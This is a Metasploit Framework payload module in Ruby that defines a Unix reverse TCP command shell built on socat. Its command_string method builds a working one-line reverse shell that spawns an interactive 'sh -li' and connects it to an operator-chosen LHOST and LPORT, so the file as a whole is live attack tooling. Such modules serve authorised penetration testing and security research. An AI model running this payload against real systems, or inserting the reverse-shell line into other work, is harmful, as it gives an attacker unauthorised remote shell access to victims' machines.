1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7
  CachedSize = 74
8

9
  include Msf::Payload::Single
10
  include Msf::Sessions::CommandShellOptions
11

12
  def initialize(info = {})
13
    super(
14
      merge_info(
15
        info,
16
        'Name' => 'Unix Command Shell, Reverse TCP (via socat)',
17
        'Description' => 'Creates an interactive shell via socat',
18
        'Author' => 'jheysel-r7',
19
        'License' => MSF_LICENSE,
20
        'Platform' => 'unix',
21
        'Arch' => ARCH_CMD,
22
        'Handler' => Msf::Handler::ReverseTcp,
23
        'Session' => Msf::Sessions::CommandShell,
24
        'PayloadType' => 'cmd',
25
        'RequiredCmd' => 'socat',
26
        'Payload' => {
27
          'Offsets' => {},
28
          'Payload' => ''
29
        }
30
      )
31
    )
32
  end
33

34
  #
35
  # Constructs the payload
36
  #
37
  def generate(_opts = {})
38
    vprint_good(command_string)
39
    return super + command_string
40
  end
41

42
  #
43
  # Returns the command string to use for execution
44
  #
45
  def command_string
46
    "socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:#{datastore['LHOST']}:#{datastore['LPORT']}"
47
  end
48
end
49

50